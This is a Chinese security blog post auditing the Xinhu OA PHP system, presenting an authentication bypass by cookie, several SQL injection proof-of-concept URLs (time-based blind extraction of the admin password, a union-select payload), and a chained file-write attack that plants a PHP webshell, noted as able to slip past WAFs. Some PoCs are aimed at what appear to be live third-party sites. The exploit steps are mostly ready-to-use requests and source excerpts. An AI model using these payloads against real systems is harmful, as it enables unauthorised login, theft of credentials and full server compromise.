zoukankan      html  css  js  c++  java
  • 某oa系统的审计


    title: 某oa系统的审计
    date: 2018-03-07 17:18:16
    tags:

    信呼OA

    闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。

    1.管理员登录验证绕过,可直接登录任意在线用户

    在xinhuwebmain askmodemodeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下

    	public function autologin($aid=0, $token='', $ism=0)
    	{
    		$baid  = $this->adminid;
    		if($aid>0 && $token!=''){
    			$rs = $this->getone("`uid`='$aid' and `token`='$token' and `online`=1",'`name`');
    			if(!$rs)exit('illegal request2');
    			$this->setsession($aid, $rs['name'], $token);
    			$baid	= $aid;
    		}
    		if($baid==0){
    			$uid 	= (int)$this->rock->cookie('mo_adminid','0');//用cookie登录
    			$onrs 	= $this->getone("`uid`=$uid and `online`=1",'`name`,`token`,`id`,`uid`');
    			if($onrs){
    				$this->setsession($uid, $onrs['name'], $onrs['token']);
    				$this->update("moddt='".$this->rock->now."'", $onrs['id']);
    			}else{
    				$uid = 0;
    			}
    			$baid = $uid;
    		}
    		return $baid;
    	}
    }
    

    看到这里$this->adminid值的获取

    	public function initRock()
    	{
    		$this->jm 		= c('jm', true);
    		$this->adminid	= (int)$this->session('adminid',0);
    		$this->adminname= $this->session('adminname');
    		$this->adminuser= $this->session('adminuser');
    	}
    

    看到默认值为0

    这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入if($onrs) 当中,同时设置session,并且成功登录。

    利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11

    首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器

    访问前台:成功登录!

    2.前台登录接口注入

    登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据

    首先webmain askapiloginAction.php控制器当中的checkAction方法

    {
    	public function checkAction()
    	{
    		$adminuser	= str_replace(' ','',$this->rock->jm->base64decode($this->post('user')));
    		$adminpass	= $this->rock->jm->base64decode($this->post('pass'));
    		$arr 		= m('login')->start($adminuser, $adminpass);
    		if(is_array($arr)){
    			$arrs = array(
    				'uid' 	=> $arr['uid'],
    				'name' 	=> $arr['name'],
    				'user'	=> $arr['user'],
    				'ranking'	=> $arr['ranking'],
    				'deptname'  => $arr['deptname'],
    				'deptallname' => $arr['deptallname'],
    				'face'  	=> $arr['face'],
    				'apptx'  	=> $arr['apptx'],
    				'token'  	=> $arr['token'],
    				'iskq'  	=> (int)m('userinfo')->getmou('iskq', $arr['uid']), //判断是否需要考勤
    				'title'		=> getconfig('apptitle'),
    				'weblogo'	=> getconfig('weblogo')
    			);
    			
    			$uid 	= $arr['uid'];
    			$name 	= $arr['name'];
    			$user 	= $arr['user'];
    			$token 	= $arr['token'];
    			m('login')->setsession($uid, $name, $token, $user);
    			$this->showreturn($arrs);
    		}else{
    			$this->showreturn('', $arr, 201);
    		}
    	}
    

    是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数

    public function start($user, $pass, $cfrom='', $devices='')
    	{
    		$uid   = 0; 
    		$cfrom = $this->rock->request('cfrom', $cfrom);
    		$token = $this->rock->request('token');
    		$device= $this->rock->request('device', $devices);
    		$ip	   = $this->rock->request('ip', $this->rock->ip);
    		$web   = $this->rock->request('web', $this->rock->web);
    

    中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾

    		m('log')->addlog(''.$cfrom.'登录', '['.$posts.']'.$loginx.''.$logins.'', array(
    			'optid'		=> $uid, 
    			'optname'	=> $name,
    			'ip'		=> $ip,
    			'web'		=> $web,
    			'device'	=> $device
    		));
    

    这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:

    http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice

    查询密码第一位如果为e则延时5秒

    类似这样的注入应该还有一大把,懒得看,他 没有过滤,稍微有点心应该都晓得怎么利用

    3.where处注入

    没什么可分析的。poc

    http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14

    4.where处注入

    http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true

    post:id=1) and sleep(4

    	public function kqjcmddelAjax()
    	{
    		$id 	= $this->post('id');
    		m('kqjcmd')->delete("`id` in ($id)");
    		showreturn();
    	}
    

    5.注入

    http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c

    6.注入

    http://www.mianfeix.com/api.php?&m=indexreim&a=ldata

    post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history

    7.自定义setval

    C:phpStudyPHPTutorialWWWxinhuwebmainsystememailemailAction.php

    	public function setsaveAjax()
    	{
    		$this->option->setval('email_sendhost@-1', $this->post('sendhost'));
    		$this->option->setval('email_sendport@-1', $this->post('sendport'));
    		$this->option->setval('email_recehost@-1', $this->post('recehost'));
    		$this->option->setval('email_sendsecure@-1', $this->post('sendsecure'));
    		$this->option->setval('email_sysname@-1', $this->post('sysname'));
    		$this->option->setval('email_sysuser@-1', $this->post('sysuser'));
    		$this->option->setval('email_receyumi@-1', $this->post('receyumi'));
    		$syspass	= $this->post('syspass');
    		if(!isempt($syspass)){
    			$this->option->setval('email_syspass@-1', $this->jm->encrypt($syspass));
    		}
    		$this->backmsg();
    	}
    

    另一个自定义val,比上面那个方便

    public function savecolunmsAjax()
    {
       $num   = $this->post('num');
       $modeid = (int)$this->post('modeid');
       $str   = $this->post('str');
       $this->option->setval($num.'@'.(-1*$modeid-1000), $str,'模块列定义');
       $path  = m('mode')->createlistpage($modeid);
       $msg   = 'ok';
       if($path=='')$msg='已保存,但无法从新生成列表页,自定义列将不能生效';
       echo $msg;
    }
    
    

    http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main

    post:num=path&str=/test/a

    这不算漏洞,但是可以利用这个做一些事情。

    8.输出显示val

    C:phpStudyPHPTutorialWWWxinhuwebmain askapiloginAction.php

    	public function checkewmAction()
    	{
    		$randkey 		= $this->get('randkey');
    
    		$val 	 		= $this->option->getval($randkey);
    		echo $val;
            //echo $val;exit();
    		//echo $val;
    		$data['val'] 	= $val;
    		//echo $randkey;exit();
    		if(isempt($randkey))$this->showreturn($data);
    		if($val>'0'){
    			$dbs 		= m('admin');
    			$urs 		= $dbs->getone("`id`='$val' and `status`=1",'`name`,`user`,`face`,`pass`');
    			if(!$urs){
    				$val = '-1';
    			}else{
    				$data['user'] = $urs['user'];
    				$data['face'] = $dbs->getface($urs['face']);
    				$data['pass'] = md5($urs['pass']);
    			}
    			$this->option->delete("`num`='$randkey'");
    		}
    		$data['val'] 	= $val;
    		$this->showreturn($data);
    	}
    

    http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true

    post:sendhost=1

    http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost

    9.输出显示val

    获取服务段加密数据

    poc:

    http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

    post:storeafteraction=savebeforecog&emailpass=admin&id=1

    	
    	public function savebeforecog($table, $cans)
    	{
    		$emailpass	= $this->post('emailpass');
    		if(!isempt($emailpass)){
    			$cans['emailpass'] = $this->jm->encrypt($emailpass);
    		}
    		return array(
    			'rows' => $cans
    		);
    	}
    	
    

    写文件GETSHELL

    这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试

    首先看问题所在的函数,C:phpStudyPHPTutorialWWWxinhuwebmainwebmainAction.php

    public function exceldown($arr)
    {
       $fields = explode(',', $this->post('excelfields','',1));
       $header = explode(',', $this->post('excelheader','',1));
       $title = $this->post('exceltitle','',1);
       $rows  = $arr['rows'];
       $exceltype = $this->post('exceltype','xls'); //保存文件类型
       $headArr   = array();
       for($i=0; $i<count($fields); $i++){
          $headArr[$fields[$i]] = $header[$i];
       }
       $url      = c('html')->execltable($title, $headArr, $rows, $exceltype);
       $this->returnjson(array(
          'url'     => $url, 
          'totalCount'=> $arr['totalCount'],
          'downCount' => count($rows)
       ));
    }
    

    这里看到默认上传接受的文件后缀是xls,这个后缀传递给c('html')->execltable模型,看看这个模型的实现

    /**
    *  创建excel导出表格
    */
    public function execltable($title, $headArr, $rows, $lx='')
    {
       if($lx=='')$lx='xls';
       $borst  = '.5pt';
       $sty   = 'style="white-space:nowrap;border:'.$borst.' solid #000000;font-size:12px;"';
       $s        = '<html><head><meta charset="utf-8"><title>'.$title.'</title></head><body>';
       $s        .= '<table border="0" style="border-collapse:collapse;">';
       $hlen  = 1;
       $s1='<tr height="30"><td '.$sty.'>序号</td>';
       foreach($headArr as $na){
          $hlen++;
          $s1.='<td '.$sty.'>'.$na.'</td>';
       }
       $s1.='</tr>';
       $s.='<tr height="40"><td '.$sty.' colspan="'.$hlen.'">'.$title.'</td></tr>';
       $s.=$s1;
       foreach($rows as $k=>$rs){
          $s.='<tr height="26">';
          $s.='<td align="center" '.$sty.'>'.($k+1).'</td>';
          foreach($headArr as $kf=>$na){
             $val = '';
             if(isset($rs[$kf]))$val=$rs[$kf];
             $s.='<td '.$sty.'>'.$val.'</td>';
          }
          $s.='</tr>';
       }
       $s.='</table>';
       
       $s.='</body></html>';
       
       $mkdir     = ''.UPDIR.'/logs/'.date('Y-m').'';
       
       if(!contain(strtolower(PHP_OS),'win')){
          $title = c('pingyin')->get($title, 1);//linux要用拼音,不然会乱码
       }
       
       $filename  = ''.$title.'_'.date('d_His').'.'.$lx.'';
       $filename  = str_replace('/','',$filename);
       $url      = ''.$mkdir.'/'.$filename.'';
       $bo       = $this->rock->createtxt(iconv('utf-8','gb2312',$url), $s);
       return $url;
    }
    

    文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数

    C:phpStudyPHPTutorialWWWxinhuwebmainsystememailemailAction.php

    public function savebeforecog($table, $cans)
    {
    
       $emailpass = $this->post('emailpass');
       if(!isempt($emailpass)){
          $cans['emailpass'] = $this->jm->encrypt($emailpass);
       }
       return array(
          'rows' => $cans
       );
    }
    

    post('emailpass')后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。

    由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作

    访问

    http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

    post数据:storeafteraction=savebeforecog&emailpass=&id=1

    这样生成加密字符串

    拿到加密字符串后开始正式写shell

    访问:http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true

    post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03

    写文件

    生成成功,验证一下

    由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护

  • 相关阅读:
    【PA2014】【BZOJ3709】Bohater(贪心,排序)
    【POJ1328】Radar Installation(贪心,决策包容)
    【NOIP2002】【Luogu1032】字串变换
    【NOIP2010】【Luogu1199】三国游戏
    【NOIP2009】【Luogu1068】分数线划定
    【NOIP2002】【Luogu1036】选数
    【NOIP2004】【Luogu1085】不高兴的津津
    【NOIP2003】【luogu1042】乒乓球
    【NOIP2012】【Luogu1080】国王游戏(贪心,邻项交换)
    Jzoj4894 SJR的直线
  • 原文地址:https://www.cnblogs.com/p00mj/p/11797819.html
Copyright © 2011-2022 走看看